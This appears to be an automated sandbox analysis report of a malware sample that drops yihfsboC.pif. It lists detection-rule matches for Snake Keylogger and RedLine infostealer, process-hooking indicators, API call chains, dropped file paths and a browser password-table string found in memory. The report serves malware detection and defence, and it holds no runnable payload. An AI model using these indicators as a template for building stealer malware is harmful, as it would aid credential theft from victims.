Source: 26.2.yihfsboC.pif.285db98e.4.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.285db98e.4.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.34690000.5.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.34690000.5.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.EPTMAcgvNZ.exe.21ef13d8.11.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 26.2.yihfsboC.pif.2b4c0000.10.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.2b4c0000.10.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.27066478.12.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.27066478.12.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.1.yihfsboC.pif.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 23.2.yihfsboC.pif.34690f08.6.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.34690f08.6.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.1.yihfsboC.pif.400000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 14.2.yihfsboC.pif.25d6b98e.8.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.25d6b98e.8.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.342db98e.3.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.342db98e.3.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.342dc896.4.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.342dc896.4.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.3.yihfsboC.pif.24219998.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.3.yihfsboC.pif.24219998.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.2709e790.10.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.2709e790.10.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.27065570.11.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.27065570.11.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.EPTMAcgvNZ.exe.21a70ae8.9.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 14.3.yihfsboC.pif.24219998.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.3.yihfsboC.pif.24219998.0.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.2.yihfsboC.pif.29915570.7.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.29915570.7.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000017.00000002.2542721990.0000000034860000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000017.00000002.2542721990.0000000034860000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000017.00000003.1465818240.00000000327BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000017.00000001.1460585249.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000E.00000002.2540746609.0000000027061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000001A.00000002.2532622056.000000002859B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000E.00000003.1357241369.0000000024219000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000001A.00000002.2537622019.0000000029911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0000001A.00000002.2505611445.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000017.00000002.2505730658.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000E.00000002.2535779078.0000000025D2B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000E.00000002.2542354548.0000000028BE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000E.00000002.2542354548.0000000028BE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000017.00000002.2540455156.000000003429B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000E.00000002.2505613508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000001A.00000002.2538945311.000000002B4C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000001A.00000002.2538945311.000000002B4C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0000001A.00000003.1551837223.00000000268CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0000001A.00000001.1548998614.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000017.00000002.2546648768.0000000035951000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: yihfsboC.pif PID: 7240, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: yihfsboC.pif PID: 7240, type: MEMORYSTR Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: yihfsboC.pif PID: 7660, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: yihfsboC.pif PID: 7660, type: MEMORYSTR Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: yihfsboC.pif PID: 7924, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: yihfsboC.pif PID: 7924, type: MEMORYSTR Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 14.2.yihfsboC.pif.27066478.12.raw.unpack, WP6RZJql8gZrNhVA9v.cs Cryptographic APIs: 'CreateDecryptor'
Source: 14.2.yihfsboC.pif.27066478.12.raw.unpack, WP6RZJql8gZrNhVA9v.cs Cryptographic APIs: 'CreateDecryptor'
Source: 14.2.yihfsboC.pif.27066478.12.raw.unpack, WP6RZJql8gZrNhVA9v.cs Cryptographic APIs: 'CreateDecryptor'
Source: 14.2.yihfsboC.pif.285a0f08.13.raw.unpack, WP6RZJql8gZrNhVA9v.cs Cryptographic APIs: 'CreateDecryptor'
Source: 14.2.yihfsboC.pif.285a0f08.13.raw.unpack, WP6RZJql8gZrNhVA9v.cs Cryptographic APIs: 'CreateDecryptor'
Source: 14.2.yihfsboC.pif.285a0f08.13.raw.unpack, WP6RZJql8gZrNhVA9v.cs Cryptographic APIs: 'CreateDecryptor'
Source: 14.2.yihfsboC.pif.25d6c896.9.raw.unpack, WP6RZJql8gZrNhVA9v.cs Cryptographic APIs: 'CreateDecryptor'
Source: 14.2.yihfsboC.pif.25d6c896.9.raw.unpack, WP6RZJql8gZrNhVA9v.cs Cryptographic APIs: 'CreateDecryptor'
Source: 14.2.yihfsboC.pif.25d6c896.9.raw.unpack, WP6RZJql8gZrNhVA9v.cs Cryptographic APIs: 'CreateDecryptor'
Source: 14.2.yihfsboC.pif.28be0000.15.raw.unpack, --.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 14.2.yihfsboC.pif.28be0000.15.raw.unpack, --.cs Cryptographic APIs: 'TransformFinalBlock'
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@34/11@5/5
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B17FD2 GetDiskFreeSpaceA, 0_2_02B17FD2
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,@__unlockDebuggerData$qv,VariantClear,VariantClear,VariantClear, 14_2_004019F0
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B26DC8 CoCreateInstance, 0_2_02B26DC8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,@__unlockDebuggerData$qv,VariantClear,VariantClear,VariantClear, 14_2_004019F0
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe File created: C:\Users\Public\Libraries\PNO Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7056:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7192:120:WilError_03
Source: C:\Users\Public\Libraries\yihfsboC.pif Command line argument: 08A 14_2_00413780
Source: C:\Users\Public\Libraries\yihfsboC.pif Command line argument: 08A 23_2_00413780
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: yihfsboC.pif, 0000000E.00000002.2540746609.000000002715E000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.00000000349EF000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.00000000349E1000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034A2B000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.00000000349D1000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034A38000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2546648768.0000000035A4C000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2537622019.0000000029A0B000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.00000000289E7000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.000000002899D000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.00000000289F4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: EPTMAcgvNZ.exe ReversingLabs: Detection: 63%
